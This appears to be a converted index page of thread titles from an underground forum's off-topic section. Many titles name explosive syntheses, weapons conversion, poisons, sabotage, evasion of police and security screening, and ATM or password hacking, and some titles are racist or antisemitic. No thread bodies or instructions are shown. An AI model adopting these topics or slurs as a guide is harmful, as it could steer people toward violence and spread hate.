The Water Cooler Page 2 PDF

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1. The Day of the Flag (0 replies)

2. Wartime Survival? (2 replies)
3. Best friend's sister got raped (18 replies)
4. why do you not include body armour to this forum? (2 replies)
5. Who out bid me? (0 replies)
6. History keeps repeating itself -- French railway sabotuers arrested (Interesting) (0 replies)
7. "Terrorist or not" French government to go after explosive websites (6 replies)
8. French websites provide interesting stories. (7 replies)
9. Glycerin and Salt Water Taffy (holiday treat) (5 replies)
10. "Underground Science" article (7 replies)
11. Kid arrested for guns, bombs, etc. (0 replies)
12. "Post whatever crap you want" Thread (46 replies)
13. Nader calls Obama an "Uncle Tom," Fox News offended. (5 replies)
14. Remember, remember, the 5th of November. (2 replies)
15. Randomness.... (4 replies)
16. "Chemical Demonstrations" by Shakashiri (3 replies)
17. Revolution (17 replies)
18. Human violence and dictatorships! (20 replies)
19. Amateur Chemistry= drugs and bombs (10 replies)
20. Incomplete Ebook - Kill Without Joy - John Minnery -- REWARD (3 replies)
21. the meaning of love and friendship (4 replies)
22. Who would win? - A hypothetical situation (21 replies)
23. Zeitgeist (3 replies)
24. Does anybody like this artwork? (43 replies)
25. $700B Bailout Plan Fails! (25 replies)
26. The truth about islam. (7 replies)
27. I'm pissed off with most of the people here. (16 replies)
28. Re: hard to place a title on this :D (44 replies)
29. The YouTube Dumbass Thread (19 replies)
30. Poor them.... (3 replies)
31. The end is near, the end is near? (2 replies)
32. computer security (10 replies)
33. Chicken Shit Blaster (7 replies)
34. Ordering from overseas... (34 replies)
35. You-Tube K3wl's fingertips blown off by "blasting cap" (5 replies)
36. Kid hits molotov cocktail with a baseball bat (27 replies)
37. Energetic Materials For Energy (12 replies)
38. DJVU to PDF converter troubles (8 replies)
39. Information Swap Alternatives (7 replies)
40. Fitness (14 replies)
41. Mind Reading Program (1 replies)
42. Forum video 2008 (1 replies)
43. Hoping for the return of the latter day edit feature and beautifying (9 replies)
44. Amateur chemist raided, for doing experiments! (17 replies)
45. Welcome to Stalin's USA (3 replies)
46. Funniest chemistry video (6 replies)
47. Anybody speak a little russian? (2 replies)
48. Friend accidentally shot himself....with a gun that I sold him. (6 replies)
49. Homemade.. idiot or badluck? (8 replies)
50. Happy Anniversary (7 replies)
51. What book(s) are you reading? (41 replies)
52. Global Population control. Why not? (48 replies)
53. Composition Equation (4 replies)
54. Randomness (4 replies)
55. Limestone Ammonium Nitrate (LAN) problem (13 replies)
56. Chemistry Game!!! (5 replies)
57. Indonesian Bombs (3 replies)
58. Ethyl nitrate (2 replies)
59. Music? (24 replies)
60. Absolutely Disgusting (13 replies)
61. Supreme Court Rules That Individuals Have Gun Right (5-4) (17 replies)
62. eBay and Chlorates... (8 replies)
63. Comedy legend dies at 71. (5 replies)
64. What a bastard! (9 replies)
65. What NOT To Do (31 replies)
66. Odd fertilizer worked for AN? (5 replies)
67. High School Graduation Resembles Saddam's Rise to Power (14 replies)
68. Thought police snatch kiddies. (12 replies)
69. Joining the French Foreign Legion (25 replies)
70. A question of thermodynamics. (5 replies)
71.
72.
69.
70.
71. Busy tonight (7 replies)
72. Rules? (2 replies)
73. Modified human marker (11 replies)
74. Sevoflurane (5 replies)
75. Cell phone tracking (40 replies)
76. Alternative/renewable fuels (7 replies)
77. Insidious "Purple Liquid": Deadly Cheerleaders Strike Again (21 replies)
78. Deadliest substances (10 replies)
79. This could come in handy? (2 replies)
80. Safety: Man Killed by 145 year old cannon ball (11 replies)
81. Railcar Implosion Video (2 replies)
82. Potassium Nitrate (1 replies)
83. WMD and AN (23 replies)
84. Do you believe everything happens for a reason? (20 replies)
85. Ricin Arrest (12 replies)
86. LSS License file? (8 replies)
87. Analysis of Nitrocellulose (6 replies)
88. Question (Relationship advice) (10 replies)
89. Some good news for the weekend. (1 replies)
90. Mentioning E&W in an Interview (11 replies)
91. Gun Protests Nationwide April 16th....Anyone have plans? (18 replies)
92. How to snare a thief (21 replies)
93. New Restrictions on Nitromethane in the U.S.? (7 replies)
94. -If- a NWO came, what would you do? (9 replies)
95. A Deer Just Killed my Car (16 replies)
96. How nbk2000 spent his spring break (5 replies)
97. Financial Depression Preparedness? (64 replies)
98. What would you do with this marvelous machine? (6 replies)
99. Fuck Kevin Rudd... (13 replies)
100. nitrocellulose problems (0 replies)
101. Rogue Science DVD... (38 replies)
102. Copying Banknotes (25 replies)
103. Breaking Bad (41 replies)
104. Oakleys and Foakleys (14 replies)
105. Guerrilla's Arsenal (7 replies)
106. Dissolving lead (5 replies)
107. Hallucinogens, The Essential Psychedelic Guide and LSD My Problem Child (1 replies)
108. What would YOU do with a centrifuge? (4 replies)
109. One of my old favorite: MN v. AK v. AR (20 replies)
110. Jews Pushing Hard To Criminalize Dissent, Especially Over The Internet (51 replies)
111. Nazi handgun! (4 replies)
112. Vista: Best of whats new or worst of whats wrong? (24 replies)
113. RDX Synthesis Problems ?? (4 replies)
114. Cheapass Faraday Cage (9 replies)
115. Guerilla style aerial bombing (4 replies)
116. Seymore Lecker - k3wL or Expert? (9 replies)
117. MgSO4 as a Desiccant/Best Desiccants (0 replies)
118. Adobe to release a freeware version of Photoshop (7 replies)
119. Compilation of Explosions (8 replies)
120. Getting Used to Nitro Headaches (5 replies)
121. Entropy definition (2 replies)
122. Aerospace Engineering / Forensic Science (8 replies)
123. Appeals Court Overturns D.C. Gun Ban (11 replies)
124. Determining the Grade of Graphite (0 replies)
125. Osama Back in Crosshairs? (18 replies)
126. What do you do when you are bored? (28 replies)
127. Rogue Science was down today? (31 replies)
128. Additives for chlorate/perchlorate cells (4 replies)
129. John Hutchinson (19 replies)
130. Hack attack on server of sciencemadness.org/talk (5 replies)
131. Acetone peroxide - HELP (5 replies)
132. Newbie "Adventures" (2 replies)
133. Teflon Sep. Funnel/Buret Stopcocks vs Glass (11 replies)
134. P Switching Script (9 replies)
135. Need Mathmatical Formula (16 replies)
136. Dangerous deadly weapon used in school! (13 replies)
137. Cannon (6 replies)
138. Blast box for camcorder (2 replies)
139. Spontaneous detonations (1 replies)
140. Possible ebay sting operation (16 replies)
141. HMTD making (14 replies)
142. 9mm, 40SW, 45ACP, 357 SIG vs Body Armor (8 replies)
143. Grenade Shelf Life (10 replies)
144. How to make M-80s, Cherry Bombs, & Silver Salutes. (7 replies)
145. Looking for a book review on "Boom -- Homemade Explosives" (11 replies)
146. what would do with if you found these (3 replies)
147. storing HMTD (3 replies)
148.
149.
146.
This is not147.
registered version of Total HTML Converter
148. The perfect book scanner (1 replies)
149. Amateur Local Weather Control (10 replies)
150. Interesting use of explosives (7 replies)
151. Inside ATM's (3 replies)
152. Sulfuric acid from nitric (5 replies)
153. UK Bombings (4 replies)
154. Australian Politics (1 replies)
155. Just the one post for me. (33 replies)
156. Pigs FUCKING SUCK! (38 replies)
157. Theoretical Revolutionary Strategies (72 replies)
158. It was the first time for me. (8 replies)
159. The Boston Bomb Squad at Work (7 replies)
160. A Interesting Realization. (5 replies)
161. Increase poison absorption? (2 replies)
162. Dangerous Briefcase (15 replies)
163. Spicy explosives (31 replies)
164. KIO3 - How good of an oxidizing agent is it? (0 replies)
165. Active Camouflage (2 replies)
166. House Explodes in Missouri City, TX (1 replies)
167. He's on a mission from God! (3 replies)
168. AgNO3 + S ---> Explode under hammer blow? (8 replies)
169. Easy Entry (8 replies)
170. Qantas bars man wearing 'Bush' T-shirt (21 replies)
171. Essential gear - You don't leave the house without...? (64 replies)
172. User details (10 replies)
173. Dihydrogen monoxide strikes again (13 replies)
174. Failure to properly store hazardous substances! (7 replies)
175. Unknown Liquid (25 replies)
176. BP blasting cap (18 replies)
177. Favourite commercial. (13 replies)
178. K3wl bashing (27 replies)
179. Bars Leaks Liquid Aluminum (16 replies)
180. What is a Dangermouse? (3 replies)
181. Help a know nothing. (3 replies)
182. What's your fetish? (47 replies)
183. I think I might be a very very lucky man (10 replies)
184. Dragon Eggs Compostion = HE? (4 replies)
185. Question on Ball Mills (27 replies)
186. Nitromethane Question (4 replies)
187. X:Y:Z KMnO4:Zn:S (16 replies)
188. Wound Profiles of Military Ammunition (23 replies)
189. Kill More Kids! (5 replies)
190. X Ray of Different Material (13 replies)
191. Nuclear Detonation In Space (10 replies)
192. Saddam is dead (72 replies)
193. Ouch that HURTS. Flash bites back (14 replies)
194. ATF Explosive Regulations? (4 replies)
195. NH4NO3 bomb detonator (7 replies)
196. Dvorak Simplifed Keyboard (10 replies)
197. Satellite Internet & Porn (21 replies)
198. information on lathes (11 replies)
199. whats inside (2 replies)
200. Potassium Chlorate Black powder? (11 replies)
201. Hot plate stirrers (0 replies)
202. Innovations in Robotics... (3 replies)
203. Electrical light socket wiring question (7 replies)
204. This can't be for real (14 replies)
205. Free download videos/docos/banned books/etc (3 replies)
206. Boiling Sulfuric acid (1 replies)
207. Robert Alberg/Kenneth Olsen (Ricin Manuf.) (3 replies)
208. One hundred most commonly found explosives. (0 replies)
209. EMP schematics (5 replies)
210. KNO3 for NH4NO3 (or NaNO3) and K2SO4 ? (13 replies)
211. Paranoia (12 replies)
212. Ammonium nitrate shelf life? (2 replies)
213. Who's a rat? (9 replies)
214. KNO3 Smoke Hazards (5 replies)
215. Cleaning my lab but have little time to make good chems disapear (11 replies)
216. BTNEC experiences? (1 replies)
217. Converting certain airsoft make/model guns to fire one or more fatal projectiles (4 replies)
218. Weird coming from the USA (6 replies)
219. A possible security breach notification!... (13 replies)
220. Research chemicals (23 replies)
221. Another Step Towards Totalitarianism (12 replies)
222. Totse rolls over on its k3wls (43 replies)
223. Guerilla Combat (2 replies)
224. New user with some questions on getting files (2 replies)
225.
226.
223.
This is not224.
225. Does Zaibatsu yet live? (6 replies)
226. Eliteforum - I find this very questionable (15 replies)
227. Uproar over youtube key bumping videos (5 replies)
228. A thought about an airgun gatling ... (1 replies)
229. New Look to Forum (4 replies)
230. DBC Pyrotechnics (2 replies)
231. Phenol from Toluene (1 replies)
232. Dreams (23 replies)
233. Todays rant : EDITED (3 replies)
234. Nuclear Batteries in laptops (12 replies)
235. Pranks? (16 replies)
236. The Hutchison Effect (5 replies)
237. God Bless Michael Richards AKA Kramer (26 replies)
238. We're saved! (2 replies)
239. KGB agent poisoned (47 replies)
240. New Forum Look (18 replies)
241. What do you do? (21 replies)
242. Obsolete Military Hardware (12 replies)
243. Robot sentinel (5 replies)
244. John A.Minnery who is it? (10 replies)
245. Estonian Security-related Document (0 replies)
246. Bit of related news (13 replies)
247. Another example of fearmongering (12 replies)
248. Nearly party time!! Whoohooooo!! (30 replies)
249. My Dog (12 replies)
250. Where To Buy Chemicals In The UK (15 replies)
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Pages : 1 [2] 3 4 5
251. A little introduction (4 replies)

252. Monkeys are 6 times stronger than men (10 replies)
253. Kids Use AP for Revenge Attack in Australia (8 replies)
254. Los Alamos Primer (0 replies)
255. My PETN Synth.... (9 replies)
256. Not-so-non-lethal? (7 replies)
257. Can you identify this explosive?? (8 replies)
258. War Nerd on DIME(The metal dust explosive) (1 replies)
259. Your experience with lead styphnate (1 replies)
260. Potassium perchlorate (4 replies)
261. Meet the kings of KEWL... (15 replies)
262. Burying nitromethane (8 replies)
263. A little insight into the american education system (11 replies)
264. Discussion on Sabotage, and request. (17 replies)
265. Invisibility cloak (6 replies)
266. Mailing ammunition to the UK (45 replies)
267. Burns (10 replies)
268. A Russian member perhaps? (3 replies)
269. Soviet Agent Hides (6 replies)
270. I didn't expect it to start so soon. (6 replies)
271. Is this a joke or am I dreaming? (5 replies)
272. South Park makes a reference to "sheeple" (6 replies)
273. 18 months for making AP (26 replies)
274. Free International Calls (From USA Only) (2 replies)
275. Murder by Cancer (13 replies)
276. Best Organic Chem. Books/Texts (1 replies)
277. Changes to Australia's "security sensitive hazardous substances" legislation... (16 replies)
278. urushiol (2 replies)
279. If you died... (26 replies)
280. 'Video evidence, what video evidence?' (6 replies)
281. Liquid Dinitrogen Tetroxide (9 replies)
282. ATM Hacking (7 replies)
283. a car that drives itself (6 replies)
284. Swinging Dartmouth (2 replies)
285. The ball mill (8 replies)
286. The Great Escape (0 replies)
287. extracting sodium (16 replies)
288. Whats wrong with Rapidshare? (19 replies)
289. Great Firearms Racks! (1 replies)
290. LSD Being Tested on British Troops (20 replies)
291. A dream for America (2 replies)
292. WW2 Nazi tank found in near-pristine condition in a lake! (10 replies)
293. Im a rokker, yeah! (21 replies)
294. Best Gen Chem. Prof Ever! UNL Prof Arrested Over Distributing Explosives (9 replies)
295. ATF arrests evil Briton in Northern California (12 replies)
296. Recommendations on Hydraulic Presses (7 replies)
297. "Ingenious experiment" with lightning (2 replies)
298. 686 Book Flood . Keep the newbies busy (1 replies)
299. Candy Bar "Bomb" (17 replies)
300. Shooting in Dawson College (Montreal) (19 replies)
301. Ebook reader (2 replies)
302. Australian Members (25 replies)
303. Aviation Security (0 replies)
304. In pursuit of understanding (11 replies)
305. Dry Ice / Acetone "slush" (4 replies)
306. How about that "Bird Flu?" (5 replies)
307. Hand-held rocket launcher (11 replies)
308. Percussion Caps? (0 replies)
309. Opening shotgun shells (5 replies)
310. Delta Force ? (0 replies)
311. starting them young (11 replies)
312. frustrated attempt of HDN detonation....(sorry by fortuitous repeating of subject) (1 replies)
313. New OCR software, open source (3 replies)
314. Anti-Terrorism Expert Sneaks Explosives Aboard Plane (30 replies)
315. Police Arrest Teen Bombers - Drano bombers! (17 replies)
316. Cash, weapons, explosives seized in raid (6 replies)
317. improvised softair shotgun (6 replies)
318. Australian Teen Faces Explosives Charges for Chlorine Bomb (17 replies)
319. Conn. Student Heads To Court On Explosives Charge (5 replies)
320. Terrorist training manual (18 replies)
321.
322.
319.
This is not320.
321. Private forum and the downfall of Rapidshare links. (17 replies)
322. improvised chem equipment/junkyard style (7 replies)
323. Quick entry options (6 replies)
324. Covert Hostage Bomb Collar (1 replies)
325. Which Branch Of Military? (5 replies)
326. Cast TNT (6 replies)
327. Pure Ammonium Nitrate (15 replies)
328. Getting credit for uploads (1 replies)
329. Basic Fitness/Abilities (46 replies)
330. Material for mould? (2 replies)
331. PDF file 'fingerprints' (12 replies)
332. Drying hygroscopic chemicals (17 replies)
333. Legal Road to Explosives (5 replies)
334. Lets discuss the social dynamics of the movie "Fight Club" (26 replies)
335. On the Creation of a Country (38 replies)
336. Where do I start in this...thing of mine? (25 replies)
337. Judge orders online sale of Unabomber goods (6 replies)
338. Bombing cases often take longer to solve (8 replies)
339. Pipe Bomb Arrest (10 replies)
340. Amazon downloading group (5 replies)
341. Chinese alleged to harvest organs from Falun Gong practitioners (3 replies)
342. Support the Theatre (with explosions) (6 replies)
343. The conversion of model/toy guns. (0 replies)
344. Non-lethal devices (4 replies)
345. Want Help with Cell phone hacking (10 replies)
346. New weapons used in Lebanon (9 replies)
347. OCR'ing FTP (4 replies)
348. Favorite Music? (3 replies)
349. Poor Flash Performance (9 replies)
350. Lucid Dreaming (16 replies)
351. How long have you gone without sex?...hehe (41 replies)
352. ALPS Holo Problem (0 replies)
353. Torritos!!! (7 replies)
354. I never claimed to be a rightous addict... (1 replies)
355. Looking for find and copy software. (19 replies)
356. Book OCR issues (4 replies)
357. Something new to me.. (5 replies)
358. Idiots and AP (4 replies)
359. Liquefying air, or oxygen enriched air. (5 replies)
360. Interesting read (8 replies)
361. purple smoke (10 replies)
362. Para-Nitration of Toluene (1 replies)
363. Careers in pyrotechics/demolition... (10 replies)
364. vitamin c (6 replies)
365. White phosphorus... ampoule (5 replies)
366. Thermite Help! (13 replies)
367. Idiot (14 replies)
368. Methods of interrogation - forewarned is forearmed! (20 replies)
369. Duplicating UV markings (7 replies)
370. Picric acid synth overdone? Nitration buffs (6 replies)
371. Frying down power installation of a building/flat (6 replies)
372. What Weapon? (47 replies)
373. Misinformation: 4th of July. Wikipedia? (9 replies)
374. Join the Fireworks Alliance (3 replies)
375. Black powder not affected by static? (12 replies)
376. Clearing a building, quickly.....and quietly (24 replies)
377. Inert Atmosphere (6 replies)
378. Hello -- New to the Forum (4 replies)
379. The Sheeple have Bleated! (3 replies)
380. Affordable Ball Mill (5 replies)
381. Beginner explosives (28 replies)
382. Introduction and Book Offering (6 replies)
383. Rather esoteric handgun question (10 replies)
384. exiglue review (1 replies)
385. Federal Law favors us for once?! (16 replies)
386. KCl03 from match heads (12 replies)
387. Make a cheap electronic Detonator (3 replies)
388. Airsoft Ammo Sting Grenades (9 replies)
389. A Rather good day. (7 replies)
390. Guanidine Nitrate - C(NH2)3NO3 - Sensitizer Issues (2 replies)
391. Yowie/Bigfoot hunt (13 replies)
392. What happens?? (0 replies)
393. Hazards of Bleach > Chlorate? (4 replies)
394. homemade drying oven (6 replies)
395. Defcon 14 (5 replies)
396. Ripping copy-protected DVDs (7 replies)
397. editing posts... (2 replies)
398.
399.
396.
This is not397.
398. Boric to Nitric? (13 replies)
399. Offer to you: Bruker IR Introduction (1 replies)
400. Munitions Factory Explodes in South Australia (12 replies)
401. Simple Timed Fuse (3 min +) (6 replies)
402. Interesting site on pulsejets. (1 replies)
403. Legit breakins (8 replies)
404. Answer to Americas Army the Game? (16 replies)
405. Computer Tech of the Week (2 replies)
406. Pepper spray deployment (11 replies)
407. Government word watch list. (30 replies)
408. LICENCE FREE FIREARMS:europe loopholes (25 replies)
409. The Doors of Perception: (8 replies)
410. Fear, an effective deterant? (3 replies)
411. www.anarchistcookbook.com hacked (2 replies)
412. To Polverone... (0 replies)
413. Anonymous package delivery (7 replies)
414. Speeding up browsing (1 replies)
415. Importing silencers (18 replies)
416. Nanoenergetics (7 replies)
417. Rtpb? (5 replies)
418. Funny glitch on the site (0 replies)
419. 700 Ton ANFO charge to be set off (0 replies)
420. Women, Pyro & Related Hobbies (4 replies)
421. What's a good ebook reading device? (6 replies)
422. Magnesium Nitrate (2 replies)
423. Unusual search error (6 replies)
424. Britian monitoring EVERY car movement! (9 replies)
425. Best Food Ever! (39 replies)
426. Tritonal (3 replies)
427. Fuses in ww1 grenades (12 replies)
428. I gave a review to the planetary camera thing (0 replies)
429. Books available (2 replies)
430. Plans (6 replies)
431. A Warning (3 replies)
432. Posting Question (1 replies)
433. kno3 (1 replies)
434. What would you change? (6 replies)
435. Primary explosives from primers (1 replies)
436. problems with ANFO Explosives (3 replies)
437. Does anyone have a Rapidshare account? (6 replies)
438. double salts (0 replies)
439. Fake ID information on IRC (2 replies)
440. School Regulations (11 replies)
441. decrypting? (8 replies)
442. Thermite Fuel Air Explosive Devices aka Hellhounds (5 replies)
443. Prison Break. (56 replies)
444. Erythritol Tetranitrate (2 replies)
445. AP filtering (3 replies)
446. servus (0 replies)
447. newbie introduction (3 replies)
448. Tor anonymous internet network (1 replies)
449. Nitroglycerin in detonators (4 replies)
450. Online Ordering?? (0 replies)
451. Tannerite targets detonation (1 replies)
452. Attacked! (24 replies)
453. Nicotine (4 replies)
454. Ninja rocks?? (9 replies)
455. Security measures on my next computer? (51 replies)
456. A new explosive (8 replies)
457. Peroxide and carbon? (2 replies)
458. Ways to mislead/stop police dogs 2? (6 replies)
459. What would you put in an emergency kit (41 replies)
460. FICTION: NBK - Escape from Dreamland (1 replies)
461. US plans to "fight" (censor) the net revealed: (6 replies)
462. Little Spudgun + Crossbow Session (0 replies)
463. mosler safe info (1 replies)
464. I had a dream... (1 replies)
465. I used to think alcohol was difficult to buy... (2 replies)
466. Problems seeing posts (1 replies)
467. Ripping Google Books (2 replies)
468. EMP Hard Drive Cleaner (38 replies)
469. NBK asked me... (5 replies)
470. The Crucible (10 replies)
471. The Triumphant Return of Megalomania (13 replies)
472. What is a "K3Wl"? (3 replies)
473. The "Anti-Pyrotechnics" Movement (10 replies)
474. Abnormal Picric Acid (5 replies)
475.
476.
473.
This is not474.
475. Survival and Austere Medicine (2 replies)
476. Time to start preparing for the end of 2005.... (0 replies)
477. Pharmaceuticals? (0 replies)
478. Iron oxide from iron filings (0 replies)
479. Underwater AP cratermakers (11 replies)
480. Score: Nazis 24, Negros 0 (10 replies)
481. George Carlin on New Orleans: (7 replies)
482. New FTP hosting (0 replies)
483. APC gone soft???!!! (5 replies)
484. The preparatory manual of explosives by Jared Ledgard (10 replies)
485. oGame (1 replies)
486. Forum archive (7 replies)
487. How useful is N-butyl acetate? (0 replies)
488. Roguesci forbidden in Germany? (0 replies)
489. PeerGuardian 2 (1 replies)
490. Blair bans certain websites! (3 replies)
491. So, who on here is an English major? (10 replies)
492. Who started roguescience.org? (18 replies)
493. Strange experience logging in (55 replies)
494. Why so little discussion? (93 replies)
495. Crypto-Ransom Virus (26 replies)
496. Video surveillance (32 replies)
497. Star Wars, Episode 3 SUXS! (31 replies)
498. Looking for external laptop battery (7 replies)
499. Products for Engineers & The Fellow Who Lives in my Corner (17 replies)
500. Future of oil (17 replies)

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Pages : 1 2 [3] 4 5
501. Equation needs balancing (5 replies)

502. And now for some comic relief... (9 replies)
503. 07/04/05 (37 replies)
504. A Use for the Self-Decrypting PGP Utility (11 replies)
505. Banned emails (59 replies)
506. FICTION: The Job, Part 2 (2 replies)
507. The $100,000 book rip-off (24 replies)
508. FICTION: NBK - The Dark Lord (23 replies)
509. Mixture of Greek Fire (21 replies)
510. PGP Secure-Wipe Failure (26 replies)
511. HE incendiary (11 replies)
512. The New Pope was a Nazi! (44 replies)
513. A Guide to Internet Flaming (56 replies)
514. nitration of aromatic substrates in zeolite cages (2 replies)
515. Should I get a Blog? (46 replies)
516. Lightning Projectors and Railguns without Rails? (23 replies)
517. beginnings? (23 replies)
518. IP address spoofing. (41 replies)
519. Raise your glasses in a toast to Myrol (47 replies)
520. Modifying Airgun's esp. for German's! (42 replies)
521. Crime-Time Television (59 replies)
522. Dinosaur flesh discovered! (20 replies)
523. Chlorinated dioxane on par with nerve gasses? (5 replies)
524. Safe Identification and Defeat Guide (57 replies)
525. Diphosgene (2 replies)
526. Isobutylidene diurea 31-0-0 (2 replies)
527. Wiping the Firefox cache (11 replies)
528. Picric Acid; Paper Dye for Love Letters! (29 replies)
529. Acetone peroxide: worth the risk? (3 replies)
530. Humor: Top 100 things If I was Ruler of the World (29 replies)
531. Synthetikal - a new chemistry forum (2 replies)
532. Hostage situations (87 replies)
533. Potassium Chlorate method guidance needed (2 replies)
534. Letter John Cleese to the USA (50 replies)
535. Good for a laugh (26 replies)
536. Defeating Airport X-Ray (58 replies)
537. Some ugly accident pictures (0 replies)
538. I'll be away for the next months (2 replies)
539. P2P securely (2 replies)
540. Lets all get our 'counterterrorism' degrees from university (19 replies)
541. Military propaganda in schools (54 replies)
542. Chimeric Breeders (155 replies)
543. Mad Science (2 replies)
544. some silver fulminate (1 replies)
545. Cold Fusion, Looks like it isn't Si-Fi anymore!! (52 replies)
546. Media stunts (5 replies)
547. Removing -Cl gently (5 replies)
548. Need help with my mathematics (AP related) (4 replies)
549. RE factor of ANNM and other explosives (0 replies)
550. Gmail account (19 replies)
551. mmm....beer (10 replies)
552. MNN and MNT nitration ratios (1 replies)
553. Another visitor... stay a while... stay forever. (1 replies)
554. 3M Security Glass (24 replies)
555. SmarTruck - how to spend silly money to get a toy (5 replies)
556. High School Chemistry demo (4 replies)
557. Video file splitter (5 replies)
558. Guncotton the Crappy way (16 replies)
559. PGP Changing. (6 replies)
560. 40mm grenade pistol (8 replies)
561. ANFO with Tolouene or Xylene as sensitizer? (7 replies)
562. safety distances (27 replies)
563. fake IDs (4 replies)
564. Perry's Chemical Engineers' Handbook 7th edition (0 replies)
565. Mercury fulminate question (8 replies)
566. Anyone from Norway? (4 replies)
567. Hello Big Brother. (12 replies)
568. Grandpa's blasting mix? (9 replies)
569. Bringing home the guns (11 replies)
570. Woodworking stuff for the FTP? (4 replies)
571.
572.
569.
This is not570.
571. From crossbows to cryptography (4 replies)
572. Am-241, Smoke Detectors, and Nuclear Weapons (6 replies)
573. Computer question (12 replies)
574. Looking for a Keylogger (1 replies)
575. I need help with my future! (14 replies)
576. copwatch.com (2 replies)
577. Carnivore is no more (1 replies)
578. hydrogen peroxide synthesis ??? (0 replies)
579. Suicide soon (120 replies)
580. A math problem stuck in my head (3 replies)
581. government is scared of FAEs (5 replies)
582. question for Mn2O7 (4 replies)
583. Need two books if anyone has a link. (4 replies)
584. Firefox (10 replies)
585. Airgun + Coilgun? (1 replies)
586. N-Tetrachloroethylene Diamine (1 replies)
587. Quest for longest chemical name (5 replies)
588. Say No to Grandpa Joe (4 replies)
589. Looking for file replacement tool (3 replies)
590. What would you do if ...? (3 replies)
591. NG accident- need advice (5 replies)
592. RDX from urotropine (1 replies)
593. D2O, Heavy water distillation (5 replies)
594. Before you post.... (0 replies)
595. HPLC software help needed (0 replies)
596. URGENT: How to register restorer2000 (7 replies)
597. favorite song/favorite band thread (61 replies)
598. Greetings and a quick question (4 replies)
599. Virus Problem (11 replies)
600. trenchcoat self defense (7 replies)
601. KNO3 in Australia (0 replies)
602. KewL Hunting (2 replies)
603. The E&W bit torrent... (4 replies)
604. Urea Formaldehyde (2 replies)
605. DMNB - spoofing C4 from a particular source. (2 replies)
606. azodicarbonamide (1 replies)
607. What did you get for xmass? (12 replies)
608. The Paranormal (37 replies)
609. Brown Noise (13 replies)
610. ANAl (amonium nitrate:aluminum) (10 replies)
611. Potassium/Sodium Chlorate + Vaseline (Petroleum Jelly) (4 replies)
612. The Great Phonecard Scam (3 replies)
613. The Plague! (9 replies)
614. SW Wanted : SystematiChem (2 replies)
615. Killer: live role playing game (4 replies)
616. suprnova is gone (0 replies)
617. How and where to start? (3 replies)
618. I have a photoshop quandary (2 replies)
619. Need a terabyte of email? (8 replies)
620. Can anyone translate Czechian? (2 replies)
621. Secure your Computer (12 replies)
622. MenuEdit Registration Needed (4 replies)
623. Fake Documents: A Report on BBC (4 replies)
624. Translations (0 replies)
625. Roguesci unofficial FTP - testing phase (3 replies)
626. ChemOffice Ultra 2005 (1 replies)
627. Software requests... Please lend a hand :) (6 replies)
628. Conversion Calculators Online (3 replies)
629. where's the hive (6 replies)
630. Propane and butane... (6 replies)
631. Parcel Post (4 replies)
632. Did you know? (51 replies)
633. Fd up movies (80 replies)
634. ossible bandwith-illimited solution to share files for all roguesci member (7 replies)
635. Software request: any of the CABO databases (1 replies)
636. Full Auto .22 Sub Machine Gun, Silenced... (7 replies)
637. AW ban over but opposition conducting tests... (6 replies)
638. Stupid and hilarious e-mail (4 replies)
639. Patron Saint of Explosives (5 replies)
640. Stab or Slash? (22 replies)
641. Firetruck Flamethrower (2 replies)
642. Detonating Thermite.. (7 replies)
643. Anybody we know? (3 replies)
644. Psychoanalyze Yourself! (14 replies)
645. Is the 380 tons in Iraq the smoking gun to AQ? (0 replies)
646. The Problem with FTP's (4 replies)
647. Half-Life 2 on the way :) (19 replies)
648.
649.
646.
This is not647.
648. Uses of Mercury? (16 replies)
649. Message to NBK (2 replies)
650. CNC (or G code) help....please? (10 replies)
651. translation software (5 replies)
652. hi (4 replies)
653. alternative file sharing (1 replies)
654. Did you vote today? (54 replies)
655. hushmail and others (4 replies)
656. The end of the Oil Age (18 replies)
657. "Modex Hybrid"??? (1 replies)
658. Wi-Fi "Bomb" draws authorities (4 replies)
659. Tetrameric Acetone Peroxide (5 replies)
660. improvised fuse (1 replies)
661. Brisancy? (20 replies)
662. Chem lab. (3 replies)
663. EFP tutorial?? (2 replies)
664. Dumb question about Roguesci homepage. (3 replies)
665. 350 TONS RDX, HMX, PETN in the wind! (18 replies)
666. storing gasoline and diesel (9 replies)
667. Aussie mans house raided for ordering books online (1 replies)
668. Arguments relating to religion (29 replies)
669. ftp/e-mail subscription (0 replies)
670. The Complete Metalsmith (0 replies)
671. .zip file password cracker (9 replies)
672. Newcomer's Ftp (0 replies)
673. The skunkworks (15 replies)
674. Bike Thieves (6 replies)
675. Sulfuric in Oz (8 replies)
676. Help on units of concentration please? (2 replies)
677. Any ex/military in the forum? (13 replies)
678. The Ig Nobel Prizes for 2004 have been announced! (0 replies)
679. Ansari X prize (8 replies)
680. question on rating members (8 replies)
681. Phosgene and chloropicrin in Bratislava (0 replies)
682. An interesting conspiracy site (1 replies)
683. wanted: dongle crack for spartan 04 (2 replies)
684. wanted: The Combined Chemical Dictionary 2002 (3 replies)
685. McDonalds "Bombed" by irate k3wls! (13 replies)
686. hitman (0 replies)
687. painful creativity request (4 replies)
688. toxicity (9 replies)
689. Purchasing and Owning Land Anonymously (7 replies)
690. The most brisant cracker ! (13 replies)
691. Suggestions for a graphics card for video editing (22 replies)
692. Loyalty Day? (0 replies)
693. Time for a PC reformat :( (5 replies)
694. A problem with Smokeless Powder (NC) (7 replies)
695. Tables (3 replies)
696. Bush - Kerry election parody (5 replies)
697. 9/11 Third Anniversary Today (15 replies)
698. Australian Embassy bombing (27 replies)
699. Ballon Incendiary (3 replies)
700. Curiousity Only (3 replies)
701. AP matches (6 replies)
702. Google Search Tips (5 replies)
703. just another way of anonymous file transfer (0 replies)
704. anonymous blog (2 replies)
705. anonymous mail (1 replies)
706. anonymous chatting (1 replies)
707. anonymous browsing (1 replies)
708. Yodel Bank - transferring money anonymously (3 replies)
709. US plans portable nuclear power plants (11 replies)
710. Freenet - A Free Net (11 replies)
711. Let me see if i can post or not... (0 replies)
712. what exactly is that makes you into this stuff? (17 replies)
713. The Chemistry of Powder and Explosives. (10 replies)
714. Implosion type FAE (18 replies)
715. Who wanna pay for free information? weaponscombat.com (1 replies)
716. Of axt and liars (0 replies)
717. problems posting and changing password (2 replies)
718. roguesci tshirts to raise money (20 replies)
719. LMAO at this one. (4 replies)
720. My new page on Oxy-hydrogen explosions (4 replies)
721. Peer Guardian (0 replies)
722. Its a Boy! (4 replies)
723. Decomposing monoammonium phosphate? (3 replies)
724. Zinc Chloride Solubility (7 replies)
725.
726.
723.
This is not724.
725. Xload's site (1 replies)
726. Now that things are stable again...... (8 replies)
727. Script problems? (0 replies)
728. torrents (5 replies)
729. Nut with an armored bulldozer... (2 replies)
730. Pathetic and Hipocritical Laws (7 replies)
